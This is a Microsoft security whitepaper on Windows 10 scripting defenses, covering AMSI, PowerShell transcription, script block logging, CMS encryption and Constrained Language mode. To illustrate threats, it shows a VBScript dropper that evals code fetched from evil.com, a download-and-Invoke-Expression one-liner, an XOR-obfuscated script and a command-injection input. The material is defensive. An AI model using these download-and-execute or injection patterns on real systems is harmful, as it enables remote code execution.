Advances in Scripting Security and Protection in Windows 10

Lee Holmes

At Microsoft, we invest an enormous amount of time and energy managing world-class cloud services and incredibly large enterprise networks. Security is critical for all of these – so what might surprise you is that we also invest enormous amounts of time and energy trying to break into those services. This is called [Red Teaming](http://azure.microsoft.com/blog/2014/11/11/red-teaming-using-cutting-edge-threat-simulation-to-harden-the-microsoft-enterprise-cloud/) – taking highly specialized groups of security experts and having them adopt the role of sophisticated adversaries.

In the last several releases of Windows, we’ve been working hard to make the platform much more powerful for administrators, developers, and power users alike. The only problem is – the red teams are catching on.

A Note about Assume Breach  
  
In this document, the assumption is that an attacker has already compromised (breached) a system through a malicious phishing email, security flaw in a custom website implementation, or similar attack.

When these security flaws are in software, they are found and patched. But we always assume the attackers will find some way to get in – even if only through a user being tricked into installing a malicious application on their computer.

As with any occupation, job satisfaction for attackers (either funded by the company under attack or otherwise) plays an important role in influencing attacker behaviour. After all, who wants to extend their compromise of a system using error prone and hard-to-write C++ programs, when you can accomplish the same thing with an elegant and powerful scripting language like PowerShell?

In this document, we’ll discuss some important advances we’ve made in scripting security and protection in Windows 10.

## Scripting transparency for Antimalware engines

Antimalware engines traditionally focus the majority of their attention on files that applications (or the system) open. A new Windows 10 feature, the Antimalware Scan Interface (AMSI), lets applications now become active participants in malware defense. Applications can now request antimalware evaluation of any content – not just files on disk.

## PowerShell ♥ the Blue Team

Given the incredible power of PowerShell’s shell and scripting language, we’ve made major advancements in PowerShell’s transparency: robust over-the-shoulder transcription, deep script block logging, encryption and decryption cmdlets using the Cryptographic Message Syntax (CMS) standard, secure code generation APIs for developers, and “Constrained PowerShell” for systems that implement AppLocker policies.

## Protected Event Logging

One concern when you increase logging on a machine is that the information you’ve logged may contain sensitive data. If an attacker compromises that machine, this sensitive information in the event log may be a gold mine of credentials, confidential systems, and more. To help address this concern, we’ve added Protected Event Logging, which lets participating applications encrypt sensitive data as they write it to the event log. You can then decrypt and process these logs once you’ve moved them to a more secure and centralized log collector.

# Scripting Transparency for Antimalware Engines

In Windows 10, the Antimalware, Security and Identity, PowerShell, VBScript, and JScript teams have collaborated to allow applications to become active participants in malware defense. To do this, we're introducing a brand new way to help protect customers from dynamic script-based malware and non-traditional avenues of attack.

This is called AMSI -- the Antimalware Scan Interface.

Antivirus engines traditionally focus the majority of their attention on files being opened by the system. When a file is opened, they scan its content, and make a decision as to its malicious intent. This decision comes from running signatures against the file content – signatures that try to identify patterns of malicious intent.

A unique challenge when it comes to scripting languages is that they support the evaluation and invocation of dynamic script content. While a file itself may not be malicious, it might pull malicious code from the internet.

' Visual Basic "dropper" - Invoke arbitrary web content

url = "http://evil.com/content=N7fBTfrP"

set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")

xmlhttp.open "GET", url, False

xmlhttp.send

eval(xmlhttp.responseText)

In this example, the ‘eval’ statement (a language feature built into VBScript) takes the raw response from evil.com and invokes it as though it were VBScript. Since the internet content is not file-based, it is hidden from inspection by traditional antivirus.

Another unique twist to this challenge is the invocation of interactive content. Interactive shells with a sufficiently powerful scripting language can cause a challenge because their input is not file-based at all:

PS C:\> Invoke-Expression (

New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

In this example, we’ve got a command that the user has typed at (or pasted into) the command line. PowerShell’s ‘Invoke-Expression’ cmdlet took a raw response from an internet site and invoked it as though it were PowerShell. Since neither the command nor the internet content that it downloaded were file based, it was also hidden from inspection by traditional antivirus.

In Windows 10, the [Antimalware Scan Interface](https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx) helps address this concern.

The Antimalware Scan Interface (AMSI) is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. They can request an Antimalware analysis of any content that may be malicious and take action based on the response.

In Windows 10, the in-box scripting engines (PowerShell, VBScript, and JScript) now request an Antimalware analysis of all dynamic content – including content typed by hand at the command line, and content downloaded from remote sources.

With this support, detection within obfuscated malware is now possible without Antimalware vendors having to write error-prone emulation of the scripting languages themselves:

' Visual Basic "obfuscation" of the EICAR standard test file

eicar = "X5O!P%@AP[4\PZX54(P^)7CC)7}" + \_

"$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\*"

eval(eicar)

Now gives:

PS C:\temp> .\eicar\_test.vbs

Microsoft (R) Windows Script Host Version 5.12

Copyright (C) Microsoft Corporation. All rights reserved.

C:\temp\eicar\_test.vbs(3, 1) Microsoft VBScript runtime error: This script contains malicious content and has been blocked by your antivirus software.: 'eval'

Windows Defender already responds to AMSI requests for content scans on Windows 10 – protecting applications that request scans of potentially malicious content. In addition, the AMSI interface is an open standard, so any other Antivirus vendor can implement support for these requests as well.

# PowerShell ♥ the Blue Team

When you take an assume-breach mindset, you have to assume that an attacker is already on your system. But then you’re left with questions: What did they do? What systems did they connect to? Was any dynamic code invoked, and what was it?

PowerShell version 5 (included in Windows 10, and also available for earlier operating systems through the Windows Management Framework) has made significant strides in making sure that the Blue Team has the information it needs to answer these questions.

*KB 3000850 for PowerShell v4 on Windows 8.1 also includes many of these features, as called out below.*

PowerShell version 5 builds on the already strong infrastructure that PowerShell version 4 (and below) offers: transcription, module logging, and more. For more information about PowerShell Security Best Practices in these environments, see <http://blogs.msdn.com/b/powershell/archive/2013/12/16/powershell-security-best-practices.aspx>. In addition, FireEye has published an excellent document on Investigating PowerShell Attacks: <http://www.fireeye.com/resources/pdfs/fireeye-lazanciyan-investigating-powershell-attacks.pdf>. This document goes into great detail for both proactive and reactive techniques.

## Over-the-shoulder transcription

One of the quickest ways to get a summary of what’s happening in a PowerShell session is to look over the shoulder of the person typing. You see their commands, the output of those commands, and all is well. Or it’s not, but at least you’ll know.

PowerShell versions 4 and prior include support for over-the-shoulder transcription through the Start-Transcript command. However, setting up ubiquitous transcription of PowerShell sessions is complex and error-prone. You need to include the command in the system startup profile of every system, and also need to add significant amounts of auditing to flag attackers that attempt to disable transcription.

A secondary issue is that transcription was only supported in the interactive PowerShell console. Transcription of remoting sessions were not supported, nor was transcription in non-console hosts such as the PowerShell ISE.

In PowerShell version 5 and *KB 3000850*, Start-Transcript now emits structured objects when you start a transcript (the Path property is useful), and has added much more useful information to its header:

3 [C:\temp]

>> $transcript = Start-Transcript  
 4 [C:\temp] >> $transcript.Path D:\Documents\PowerShell\_transcript.COMPUTER16.\_o1d005+.20150403141829.txt

5 [C:\temp]

>> Get-Content $transcript.Path -Head 9

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Windows PowerShell transcript start

Start time: 20150403141829 Username: CONTOSO\user RunAs User: CONTOSO\user Machine: COMPUTER16 (Microsoft Windows NT 6.3.9600.0) Host Application: C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe

Process ID: 25996   
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

The filename now includes the computer that generated the transcript, a ‘hash breaker’ to prevent transcript collisions, and increased granularity in the transcript start time. While PowerShell v4 and below let you control the output path, you were then forced to properly randomize the transcript filename yourself. To improve this situation, we’ve added the –OutputDirectory parameter to Start-Transcript.

In the header content, the “Username” and “RunAs User” will normally be the same. If you’ve enabled impersonation on a constrained PowerShell remoting endpoint (i.e.: PowerShell Just Enough Administration), the “Username” field represents the connected user while the “RunAs User” represents the account being impersonated.

When it comes to transcript content, PowerShell now transcribes (what it can) of console commands that manipulate the console buffer directly, and can now be enabled in hosts such as the PowerShell ISE.

If you want to more directly associate commands with their output for potential later analysis, use the –IncludeInvocationHeader parameter. This adds an additional header for each command that is invoked:

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Command start time: 20150403145336

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

PS C:\temp> 1+1

2

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Command start time: 20150403145344

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

PS C:\temp> Get-Process -id $pid

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName

------- ------ ----- ----- ----- ------ -- -----------

625 58 100096 101796 760 10.28 21816 powershell

To enable automatic transcription, enable the ‘Turn on PowerShell Transcription’ feature in Group Policy through Windows Components -> Administrative Templates -> Windows PowerShell. For automation, the configuration settings are stored under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription. The following PowerShell functions let you enable and disable the system-wide transcription policies.

function Enable-PSTranscription

{

[CmdletBinding()]

param(

$OutputDirectory,

[Switch] $IncludeInvocationHeader

)

## Ensure the base path exists

$basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"

if(-not (Test-Path $basePath))

{

$null = New-Item $basePath -Force

}

## Enable transcription

Set-ItemProperty $basePath -Name EnableTranscripting -Value 1

## Set the output directory

if($PSCmdlet.MyInvocation.BoundParameters.ContainsKey("OutputDirectory"))

{

Set-ItemProperty $basePath -Name OutputDirectory -Value $OutputDirectory

}

## Set the invocation header

if($IncludeInvocationHeader)

{

Set-ItemProperty $basePath -Name EnableInvocationHeader -Value 1

}

}

function Disable-PSTranscription

{

Remove-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Force -Recurse

}

When enabled system-wide, PowerShell transcription even includes emulated transcription for hosts that don’t even have an interface – such as this example C# program:

using System;

using System.Management.Automation;

namespace IgnorantTranscriber

{

class Program

{

static void Main(string[] args)

{

var processes = PowerShell.Create().AddCommand("Get-Process").

AddParameter("Name", "\*e\*").Invoke();

Console.WriteLine("You have " + processes.Count +

" processes with 'e' in the name!");

}

}

}

When you run it, the logged content emulates what you might have seen:

PS>CommandInvocation(Get-Process): "Get-Process"

>> ParameterBinding(Get-Process): name="Name"; value="\*e\*"

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName

------- ------ ----- ----- ----- ------ -- -----------

135 11 2496 7716 4096 2548 Acmengine

2451 121 63952 188004 4096 45.80 1516 explorer

0 0 0 4 0 0 Idle

254 22 38132 36248 229 0.64 2556 IgnorantTranscriber

452 53 93164 64664 4096 1756 MsMpEng

147 10 1872 12524 4096 0.08 3784 OpenWith

658 33 80680 97852 4096 3.61 1120 powershell

486 30 74876 89780 4096 2.64 2060 powershell

277 10 3452 8696 4096 536 services

148 12 3256 9840 4096 2608 sysparse

885 0 120 136 3 4 System

239 18 3268 12060 4096 0.33 2896 taskhostex

The OutputDirectory setting lets you collect transcripts to a central location (UNC path) for later review. If you implement this policy, ensure that access to the central share is limited to prevent users from reading previously-written transcripts. The following PowerShell script creates a “Transcripts” SMB share on a server that follows this best practice.

md c:\Transcripts

## Kill all inherited permissions

$acl = Get-Acl c:\Transcripts

$acl.SetAccessRuleProtection($true, $false)

## Grant Administrators full control

$administrators = [System.Security.Principal.NTAccount] "Administrators"

$permission = $administrators,"FullControl","ObjectInherit,ContainerInherit","None","Allow"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Grant everyone else Write and ReadAttributes. This prevents users from listing

## transcripts from other machines on the domain.

$everyone = [System.Security.Principal.NTAccount] "Everyone"

$permission = $everyone,"Write,ReadAttributes","ObjectInherit,ContainerInherit","None","Allow"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Deny "Creator Owner" everything. This prevents users from

## viewing the content of previously written files.

$creatorOwner = [System.Security.Principal.NTAccount] "Creator Owner"

$permission = $creatorOwner,"FullControl","ObjectInherit,ContainerInherit","InheritOnly","Deny"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Set the ACL

$acl | Set-Acl c:\Transcripts\

## Create the SMB Share, granting Everyone the right to read and write files. Specific

## actions will actually be enforced by the ACL on the file folder.

New-SmbShare -Name Transcripts -Path c:\Transcripts -ChangeAccess Everyone

## Deep script block logging

A PowerShell “script block” is the base level of executable code in PowerShell. It might represent a command typed interactively in the PowerShell console, supplied through the command line (“PowerShell –Command <…>”), or wrapped in a function, script, workflow, or the like.

In addition to over-the-shoulder style transcription, PowerShell v5 and *KB 3000850* introduces deep script block logging. When you enable script block logging, PowerShell records the content of all script blocks that it processes. If a script block uses dynamic code generation (i.e.: $command = "'Hello World'"; Invoke-Expression $command), PowerShell will log the invocation of this generated script block as well. This provides complete insight into the script-based activity on a system – including scripts or applications that leverage dynamic code generation in an attempt to evade detection.

As with transcription support, this deep script block logging applies to any application that hosts the PowerShell engine – the command line shell, ISE, or custom host.

To enable automatic transcription, enable the ‘Turn on PowerShell Script Block Logging’ feature in Group Policy through Windows Components -> Administrative Templates -> Windows PowerShell. For automation, the configuration settings are stored under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging. By default, PowerShell only logs scripts blocks the first time they are used. If you select ‘Log script block invocation start / stop events’, PowerShell also logs start and stop events for every time a script block is invoked. This latter setting can generate an extremely high volume of events, so should be enabled with caution.

The following PowerShell functions let you enable and disable the system-wide script block logging policies.

function Enable-PSScriptBlockLogging

{

$basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

if(-not (Test-Path $basePath))

{

$null = New-Item $basePath -Force

}

Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"

}

function Disable-PSScriptBlockLogging

{

Remove-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force -Recurse

}

function Enable-PSScriptBlockInvocationLogging

{

$basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

if(-not (Test-Path $basePath))

{

$null = New-Item $basePath -Force

}

Set-ItemProperty $basePath -Name EnableScriptBlockInvocationLogging -Value "1"

}

Most companies only realize the need to enable script block logging after it is too late. To provide some recourse in this situation, PowerShell automatically logs script blocks when they have content often used by malicious scripts. This automatic script block logging is not intended to replace antivirus or full script block logging – it only serves as a record of last resort.

To disable automatic script block logging, set the “Turn on Script Block Logging” feature to “Disabled”. Alternatively, specify “0” for the EnableScriptBlockLogging registry key.

When script block logging is enabled, PowerShell will log the following events to the Microsoft-Windows-PowerShell/Operational log:

|  |  |
| --- | --- |
| EventId | 4104 / 0x1008 |
| Channel | Operational |
| Level | Verbose |
| Opcode | Create |
| Task | CommandStart |
| Keyword | Runspace |
| Message | Creating Scriptblock text (%1 of %2):  %3  ScriptBlock ID: %4 |

The text embedded in the message is the text of the script block compiled. The ScriptBlock ID is a GUID retained for the life of the script block.

**Note**: Some script block texts (i.e.: Get-ChildItem) might not *truly* be representative of its underlying functionality if that command was generated through PowerShell’s dynamic keyword mechanism or an overridden function. For both of these situations, the original dynamic keyword definition (or malicious function definition) will be logged.

When script block invocation logging is enabled, PowerShell also writes begin and end event markers:

|  |  |
| --- | --- |
| EventId | Start: 4105 / 0x1009 (Complete: 4106 / 0x100A) |
| Channel | Operational |
| Level | Verbose |
| Opcode | Open (/ Close) |
| Task | CommandStart (/ CommandStop) |
| Keyword | Runspace |
| Message | Started (/ Completed) invocation of ScriptBlock ID: %1  Runspace ID: %2 |

The ID is the GUID representing the script block (that can be correlated with event ID 4104), and the Runspace ID represents the runspace this script block was run in.

Given that it represents the content of all PowerShell script invoked on a system, these events may contain sensitive data. To limit the information disclosure risk when script block logging is enabled, see Protected Event Logging.

Percent signs in the invocation message represent structured ETW properties. While they are replaced with the actual values in the message text, a more robust way to access them is to retrieve the message with the Get-WinEvent cmdlet, and then use the **Properties** array of the message.

Here's an example of how this functionality can help unwrap a malicious attempt to encrypt and obfuscate a script:

## Malware

function SuperDecrypt

{

    param($script)

    $bytes = [Convert]::FromBase64String($script)

    ## XOR “encryption”

    $xorKey = 0x42

    for($counter = 0; $counter -lt $bytes.Length; $counter++)

    {

        $bytes[$counter] = $bytes[$counter] -bxor $xorKey

    }

    [System.Text.Encoding]::Unicode.GetString($bytes)

}

$decrypted = SuperDecrypt "FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg=="

Invoke-Expression $decrypted

Running this generates the following log entries:

Compiling Scriptblock text (1 of 1):

function SuperDecrypt

{

param($script)

$bytes = [Convert]::FromBase64String($script)

## XOR "encryption"

$xorKey = 0x42

for($counter = 0; $counter -lt $bytes.Length; $counter++)

{

$bytes[$counter] = $bytes[$counter] -bxor $xorKey

}

[System.Text.Encoding]::Unicode.GetString($bytes)

}

ScriptBlock ID: ad8ae740-1f33-42aa-8dfc-1314411877e3

Compiling Scriptblock text (1 of 1):

$decrypted = SuperDecrypt "FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg=="

ScriptBlock ID: ba11c155-d34c-4004-88e3-6502ecb50f52

Compiling Scriptblock text (1 of 1):

Invoke-Expression $decrypted

ScriptBlock ID: 856c01ca-85d7-4989-b47f-e6a09ee4eeb3

Compiling Scriptblock text (1 of 1):

Write-Host 'Pwnd'

ScriptBlock ID: 5e618414-4e77-48e3-8f65-9a863f54b4c8

If the script block length exceeds what ETW is capable of holding in a single event, Windows PowerShell breaks the script into multiple parts. Here is sample code to recombine a script from its log messages:

$created = Get-WinEvent -FilterHashtable @{  
 ProviderName="Microsoft-Windows-PowerShell"; Id = 4104 } | Where-Object { <Criteria> }

$sortedScripts = $created | sort { $\_.Properties[0].Value }

$mergedScript = -join ($sortedScripts | % { $\_.Properties[2].Value })

As with all logging systems that have a limited retention buffer (i.e.: ETW logs), one attack against this infrastructure is to flood the log with spurious events to hide earlier evidence. To protect yourself from this attack, ensure that you have some form of event log collection set up (i.e.: Windows Event Forwarding, <http://www.nsa.gov/ia/_files/app/Spotting_the_Adversary_with_Windows_Event_Log_Monitoring.pdf>) to move event logs off of the computer as soon as possible.

## Cryptographic Message Syntax (CMS) encryption and decryption cmdlets

PowerShell version 5 and *KB 3000850* introduces support for protection of content using the *Cryptographic Message Syntax* (CMS) format. These cmdlets support encryption and decryption of content using the IETF standard format for cryptographically protecting messages as documented by [RFC5652](http://tools.ietf.org/html/rfc5652).

Get-CmsMessage [-Content] <string>

Get-CmsMessage [-Path] <string>

Get-CmsMessage [-LiteralPath] <string>

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-Content] <string> [[-OutFile] <string>]

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-Path] <string> [[-OutFile] <string>]

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-LiteralPath] <string> [[-OutFile] <string>]

Unprotect-CmsMessage [-EventLogRecord] <EventLogRecord> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-Content] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-Path] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-LiteralPath] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

The CMS encryption standard implements public key cryptography, where the keys used to encrypt content (the *public key*) and the keys used to decrypt content (the *private key*) are different.

Your public key can be shared widely, and is not sensitive data. If any content is encrypted with this public key, only your private key can decrypt it. For more information about Public Key Cryptography, see: <http://en.wikipedia.org/wiki/Public-key_cryptography>.

To be recognized in Windows PowerShell, encryption certificates require a unique key usage identifier (EKU) to identify them as data encryption certificates (like the identifiers for 'Code Signing', 'Encrypted Mail').

Here is an example of creating a certificate that is good for Document Encryption:

(Change the text in **Subject** to your name, email, or other identifier), and put in a file (i.e.: DocumentEncryption.inf):

[Version]

Signature = "$Windows NT$"

[Strings]

szOID\_ENHANCED\_KEY\_USAGE = "2.5.29.37"

szOID\_DOCUMENT\_ENCRYPTION = "1.3.6.1.4.1.311.80.1"

[NewRequest]

Subject = "[cn=me@somewhere.com](mailto:cn=me@somewhere.com)"

MachineKeySet = false

KeyLength = 2048

KeySpec = AT\_KEYEXCHANGE

HashAlgorithm = Sha1

Exportable = true

RequestType = Cert

KeyUsage = "CERT\_KEY\_ENCIPHERMENT\_KEY\_USAGE | CERT\_DATA\_ENCIPHERMENT\_KEY\_USAGE"

ValidityPeriod = "Years"

ValidityPeriodUnits = "1000"

[Extensions]

%szOID\_ENHANCED\_KEY\_USAGE% = "{text}%szOID\_DOCUMENT\_ENCRYPTION%"

Then run:

certreq -new DocumentEncryption.inf DocumentEncryption.cer

And you can now encrypt and decrypt content:

106 [C:\temp]  
>> $protected = "Hello World" | Protect-CmsMessage -To "\*me@somewhere.com\*"

107 [C:\temp]  
>> $protected  
  
-----BEGIN CMS-----  
MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv  
bG1AbWljcm9zb2Z0LmNvbQIQQYHsbcXnjIJCtH+OhGmc1DANBgkqhkiG9w0BAQcwAASCAQAnkFHM  
proJnFy4geFGfyNmxH3yeoPvwEYzdnsoVqqDPAd8D3wao77z7OhJEXwz9GeFLnxD6djKV/tF4PxR  
E27aduKSLbnxfpf/sepZ4fUkuGibnwWFrxGE3B1G26MCenHWjYQiqv+Nq32Gc97qEAERrhLv6S4R  
G+2dJEnesW8A+z9QPo+DwYU5FzD0Td0ExrkswVckpLNR6j17Yaags3ltNVmbdEXekhi6Psf2MLMP  
TSO79lv2L0KeXFGuPOrdzPAwCkV0vNEqTEBeDnZGrjv/5766bM3GW34FXApod9u+VSFpBnqVOCBA  
DVDraA6k+xwBt66cV84OHLkh0kT02SIHMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEEJbJaiRl  
KMnBoD1dkb/FzSWAEBaL8xkFwCu0e1ZtDj7nSJc=  
-----END CMS-----

108 [C:\temp]  
>> $protected | Unprotect-CmsMessage  
Hello World

Any parameter of type CMSMessageRecipient supports identifiers in the following formats:

* An actual certificate (as retrieved from the certificate provider)
* Path to the a file containing the certificate
* Path to a directory containing the certificate
* Thumbprint of the certificate (used to look in the certificate store)
* Subject name of the certificate (used to look in the certificate store)

To view document encryption certificates in the certificate provider, you can use the -**DocumentEncryptionCert** dynamic parameter for Get-ChildItem (dir):

58 [Cert:\currentuser\my]  
>> dir -DocumentEncryptionCert

### Interoperability of CMS Content

Because the CMS format is an IETF standard, PowerShell supports the decryption of content generated by other conforming tools, and the content it generates can be decrypted by other conforming tools.

One of the more popular implementations to support the CMS message format is the [OpenSSL](http://en.wikipedia.org/wiki/Public-key_cryptography) library and command-line toolchain. The primary challenge when exchanging data with the OpenSSL library comes from the OpenSSL assumption that the content is contained within an email message body in the P7M format. Fortunately, these text-based headers are relatively easy to add and remove.

The following PowerShell commands demonstrate using OpenSSL and PowerShell to encrypt and decrypt content generated by the other application.

## Install the OpenSSL package

Install-Package OpenSSL.Light

## OpenSSL requires certificates in the PEM format. To create this,

## export the Windows certificate in PFX format, and ensure that

## the PFX is protected by a password (rather than account) as

## OpenSSL doesn't support group-protected PFX files

& "C:\Program Files\OpenSSL\bin\openssl.exe" pkcs12 -in C:\temp\cert.pfx -out c:\temp\cert.pem -nodes

## 1) Encrypt with PowerShell, decrypt with OpenSSL.

## First, protect some content in PowerShell.

Get-Process | Protect-CmsMessage -To "\*myRecipient\*" | Set-Content encrypted.txt

<#

PowerShell uses BEGIN CMS / END CMS sigils to signify encrypted content.

OpenSSL requires an email-header:

MIME-Version: 1.0

Content-Disposition: attachment; filename="smime.p7m"

Content-Type: application/pkcs7-mime; smime-type=enveloped-data; name="smime.p7m"

Content-Transfer-Encoding: base64

So, tweak the data.

#>

$p7mHeader = @'

MIME-Version: 1.0

Content-Disposition: attachment; filename="smime.p7m"

Content-Type: application/pkcs7-mime; smime-type=enveloped-data; name="smime.p7m"

Content-Transfer-Encoding: base64

'@

$unixContent = Get-Content encrypted.txt | Select-String -notmatch "----"

$p7mHeader,"`r`n",$unixContent | Set-Content encrypted\_unix.txt -Encoding ASCII

## Finally, decrypt with OpenSSL. Ensure that the content is encoded as ASCII.

& "C:\Program Files\OpenSSL\bin\openssl.exe" cms -decrypt -in encrypted\_unix.txt -recip .\cert.pem

## 2) Encrypt with OpenSSL, decrypt with PowerShell

## First, protect some content with OpenSSL

$encrypted = Get-Process | & "C:\Program Files\OpenSSL\bin\openssl.exe" cms -encrypt -recip .\cert.pem

## Change the OpenSSL mail header to the standard CMS header

"-----BEGIN CMS-----",$($encrypted -notmatch ":"),"-----END CMS-----" > encrypted.cms

## Finally, decrypt with PowerShell

Unprotect-CmsMessage -Path .\encrypted.cms

## Secure code generation APIs

Whenever you write code that may be subjected to attacker-controlled input, code injection vulnerabilities are among the most dangerous type of bug. A good example of code that may be subjected to attacker-controlled input are functions that you expose in a constrained PowerShell runspace. If an attacker can exploit a code injection vulnerability in one of those functions, they can execute code as though it were part of the function itself. That code would not be subject to the restrictions that you’ve applied to the constrained runspace.

Almost every language can be subject to code injection vulnerabilities if used incorrectly. In SQL, this is called “SQL Injection”. In web sites, this is called “Cross site scripting”. In CGI applications, shell scripts, or tools that invoke system commands - this is called “Command injection”.

In PowerShell, the most common source of code injection vulnerabilities comes from including attacker-controlled input in a string that you submit to the Invoke-Expression command. For example:

function Get-MyAcl

{

param($Path)

Invoke-Expression "Get-Acl $Path"

}

If $Path contains input such as “; Write-Host Pwnd”, the attacker can now execute the Write-Host cmdlet (or much worse!) as well.

The Invoke-Expression cmdlet should almost always be avoided, as PowerShell (like other languages) has many features that take its place more securely.

## Invoke a static command

Get-Acl -Path c:\temp\file.txt

## Supply a dynamic parameter value

## with a variable reference

$paramValue = "c:\temp\file.txt"

Get-Acl -Path $paramValue

## Supply both a dynamic parameter name and

## value through 'splatting'

$parameters = @{ Path = "c:\temp\file.txt" }

Get-Acl @parameters

## Supply a dynamic command name, parameter name,

## and parameter value through the invocation

## operator and splatting

$commandName = "Get-Acl"

$parameters = @{ Path = "c:\temp\file.txt" }

& $commandName @parameters

If you are ever truly required to generate PowerShell scripts after making all attempts to avoid it, PowerShell version 5 and *KB 3000850* introduces APIs to support secure generation of scripts that may contain attacker input.

13 [C:\temp]  
>> [System.Management.Automation.Language.CodeGeneration] | gm –static  
  
 TypeName: System.Management.Automation.Language.CodeGeneration  
  
Name MemberType Definition  
---- ---------- ----------  
Equals Method static bool Equals(System.Object objA, System.Object objB)  
EscapeBlockCommentContent Method static string EscapeBlockCommentContent(string value)  
EscapeFormatStringContent Method static string EscapeFormatStringContent(string value)  
EscapeSingleQuotedStringContent Method static string EscapeSingleQuotedStringContent(string value)  
EscapeVariableName Method static string EscapeVariableName(string value)

If you are placing attacker-controlled input within a string (i.e.: for a command argument), ensure that you place it within a single-quoted string. Then, use EscapeSingleQuotedStringContent on the content itself. This ensures that single quotes (or their equivalents – for there are several) in the attacker input are escaped properly.

For example:

$attackerInput = "Hello'World"

$escapedAttackerInput = "'" +

[Management.Automation.Language.CodeGeneration]::

EscapeSingleQuotedStringContent($attackerInput) + "'"

$newScript = "Write-Host $escapedAttackerInput"

Invoke-Expression $newScript

Safe escaping of content to be included within block comments, format strings, or variable names is also supported.

## Constrained PowerShell

When a system is sensitive, one of the most powerful ways to limit the damage an attack can have is to reduce the capabilities of that attack. Windows’ security controls come in many forms – creating a hierarchy of protections that incrementally add value.

|  |  |  |  |
| --- | --- | --- | --- |
| Control | Benefit | Impact Without Control | Limitations |
| Antivirus / Antimalware | Can limit the execution of malware known to the AV industry. | Attacker can write and run any code, custom C++ applications, internet tools, etc. | Can be disabled by administrators. AV signatures can be evaded if the attacker is capable of recompiling or modifying an application. |
| Applocker in Deny Mode | Can limit the execution of malware known to your organization. | Attacker can write and run any code, custom C++ applications, etc., as long as they aren’t well known attack tools or exploits. | Can be disabled by administrators. Only blocks known evil / undesirable malware, can be bypassed with only minor application changes. |
| Applocker in Allow Mode | Can prevent the execution of unknown / unapproved applications. | Attacker can write arbitrary custom applicatons, as long as they are not detected by AV or Applocker Deny rules. | Can be disabled by administrators. Attacker can still leverage in-box tools like VBScript, Office macros, HTA applications, local web pages, PowerShell, etc. |

These protections are, of course, in addition to the regular Windows user permissions model. Applications don’t need to prevent users from modifying system-wide registry keys because Windows itself enforces those protections.

The strongest form of protection is when a system employs AppLocker in ‘Allow Mode’, where only specific known applications are allowed to run.

Prior to PowerShell version 5, a limitation of AppLocker’s ‘Allow Mode’ was that interactive PowerShell input was not subject to this policy. While Allow Mode might prevent unknown PowerShell scripts from running, it would not prevent the equivalent commands entered at an interactive prompt.

In version 5, PowerShell now reduces its functionality to “Constrained Mode” for both interactive input and user-authored scripts when it detects that PowerShell scripts have an ‘Allow Mode’ policy applied to them. Constrained PowerShell limits the language mode to Constrained Language (as described in [about\_Language\_Modes](https://technet.microsoft.com/en-us/library/dn433292.aspx)), a mode first introduced for Windows RT.

Constrained Language doesn’t limit the capability of the core PowerShell language – familiar techniques such as variables, loops, and functions are all supported. It does, however, limit the extended language features that can lead to unverifiable code execution such as direct .NET scripting, invocation of Win32 APIs via the Add-Type cmdlet, and interaction with COM objects.

Scripts that are allowed by the AppLocker policy (for example: signed by the enterprise’s trusted code signing certificate, or in a trusted directory) are not subject to Constrained Language. They have access to the extended capabilities of the PowerShell language disallowed by Constrained Language. This includes unverifiable extensions such as .NET scripting, and invocation of Win32 APIs.

For more information on configuring AppLocker, see <https://technet.microsoft.com/en-us/library/dd723678(v=ws.10).aspx>.

Here’s an example PowerShell command that lets you experiment with AppLocker in ‘Allow Mode’ for all scripts (i.e.: blocking all VBScripts, batch files, and PowerShell scripts by default), and then allows only PowerShell scripts from c:\trusted to run.

PS C:\> $whitelistApplockerPolicy = New-AppLockerPolicy -RuleType Path -FileInformation "c:\trusted\\*.ps1"  
PS C:\> $existingApplockerPolicy = Get-AppLockerPolicy –Local  
PS C:\> Set-AppLockerPolicy $whitelistApplockerPolicy  
PS C:\> powershell  
Windows PowerShell  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

